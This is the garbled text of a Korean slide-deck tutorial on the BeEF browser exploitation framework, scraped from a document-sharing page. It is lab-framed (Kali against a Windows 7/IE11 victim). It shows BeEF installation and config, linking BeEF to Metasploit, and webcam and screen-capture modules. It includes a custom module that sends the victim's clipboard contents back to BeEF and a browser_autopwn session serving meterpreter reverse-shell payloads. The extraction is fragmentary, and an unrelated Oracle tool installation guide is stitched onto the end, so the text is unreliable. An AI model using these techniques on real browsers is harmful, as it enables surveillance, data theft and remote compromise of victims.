BEef 사용법.pages

Size: px

Start display at page:

Download "BEef 사용법.pages"

대로 만
8 years ago
Views:

2 (1)... 3 (2) BeEF... 7 (1) BeEF... 7 (2)... 8 (3) (Google Phishing) ( ) (1) (2) Social Engineering (3) (4) (1) (2) (3) Tunneling (4) BeEF+ Metasploit (5) HTA powershell (6) BeEF Bindshell (7) Xss Rays

3 # wget # tar -xvf git tar.gz # cd git tar.gz # make prefix=/usr all

4 # wget # tar -xvf ruby-*.tar.gz # cd ruby-* #./configure # make # make install # git clone # gem install bundler 3 # bundle install #./beef -x 4 apt-get install libsqlite3-dev sqlite3 sqlite3-doc

5 http: debug: false host: " " port: "3000" public: " " dns: "localhost" panel_path: "/ui/panel" hook_file: "/hook.js" # BeEF verbose 5 # IP # # NAT # DNS # UI panel # hooking script hook_session_name: "BEEFHOOK" session_cookie_name: "BEEFSESSION" # # BeEF cookie

6 host: IP callback_host: IP msf_path {os : custom, path: } : # service postgresql start && service metasploit start # msfconsole ()

7 msf > load msgrpc ServerHost= Pass=abc123 [*] MSGRPC Service: :55552 [*] MSGRPC Username: msf [*] MSGRPC Password: abc123 [*] Successfully loaded plugin: msgrpc

10 attack-pc : Kali Linux BeEF victim-pc : Windows 7 + IE11 -> Kali Linux -> System Services ->BeEF -> beef start -> Kali Linux -> Exploitation Tools -> BeEF XSS framework -> beef

16 BeEF - webcam HTML5: HTML5의 WebRTC를 이용하여 웹캠으로 이미지를 읽어옴(크롬에서만 동작, 사용 자에게 허용 여부를 묻는 과정이 있음) - spyder eye: 사용자의 브라우저 화면을 캡쳐할 수 있는 모듈이다. 아래를 보면 사용자가 입력하는 값 까지 캡쳐되었음을 확인할 수 있다. 16/33

22 beef: module: spyder_eye: enable: true category: "Browser" // name: "Spyder Eye" // description: "This module takes a picture of the victim's browser window." // authors: ["preth00nker"] // target: // working: IE: // min_ver: 9 max_ver: latest FF: // min_ver: 3 max_ver: latest C: //

23 min_ver: 1 max_ver: latest S: // min_ver: 6 max_ver: latest O: // min_ver: 12 max_ver: latest not_working: ["All"] class < BeEF::Core::Command def self.options end //

24 def pre_send end // payload end def post_execute // end %>", %>, ");

25 config.yaml beef: module: test_alert: //. enable: true category: ["Browser", "Hooked Domain"] // beef name: "TEST module user create" // beef description: alert " // authors: ["test", "man"] target: user_notify: ["All"] module.rb class Test_alert < BeEF::Core::Command // class() # set and return all options for this module def self.options return [{ 'name' => 'text', 'description' => 'Sends an alert dialog to the victim', 'type' => 'textarea', 'ui_label' => 'Alert text', 'value' => ':', // 'width' => '400px' }] end def post_execute content = {} content['user Response'] = "The user clicked the 'OK' button when presented with an alert box." save content end

26 end command.js beef.execute(function() { alert("<%== format_multiline(@text) %> +clipboarddata.getdata("text")); // <%== format_multiline(@text) %> : beef // clipboarddata.getdata( Text") : clipboard %>", %>, "clipboard="+clipboarddata.getdata("text")); // beef });

28 var href=document.location.href; return href;

30 msf > set LHOST LHOST => msf > use auxiliary/server/browser_autopwn msf auxiliary(browser_autopwn) > set LHOST LHOST => msf auxiliary(browser_autopwn) > set PAYLOAD_WIN32 windows/meterpreter/ reverse_tcp PAYLOAD_WIN32 => windows/meterpreter/reverse_tcp msf auxiliary(browser_autopwn) > set P set PAYLOAD_ANDROID set PAYLOAD_JAVA set PAYLOAD_MACOS set PROMPT set PROMPTTIMEFORMAT set PAYLOAD_GENERIC set PAYLOAD_LINUX set PAYLOAD_WIN32 set PROMPTCHAR msf auxiliary(browser_autopwn) > set PAYLOAD_JAVA java/meterpreter/ reverse_tcp PAYLOAD_JAVA => java/meterpreter/reverse_tcp msf auxiliary(browser_autopwn) > exploit [*] Auxiliary module execution completed [*] Setup [*] Obfuscating initial javascript :12: msf auxiliary(browser_autopwn) > [*] Done in seconds [*] Starting exploit modules on host [*] Started reverse handler on :6666 [*] Starting the payload handler... [*] Started reverse handler on :7777 [*] Starting the payload handler... [*] --- Done, found 21 exploit modules [*] Using URL:

31 [*] Local IP: [*] Server started.

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

Orange for ORACLE V4.0 Installation Guide ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE...1 1....2 1.1...2 1.2...2 1.2.1...2 1.2.2 (Online Upgrade)...11 1.3 ORANGE CONFIGURATION ADMIN...12 1.3.1 Orange Configuration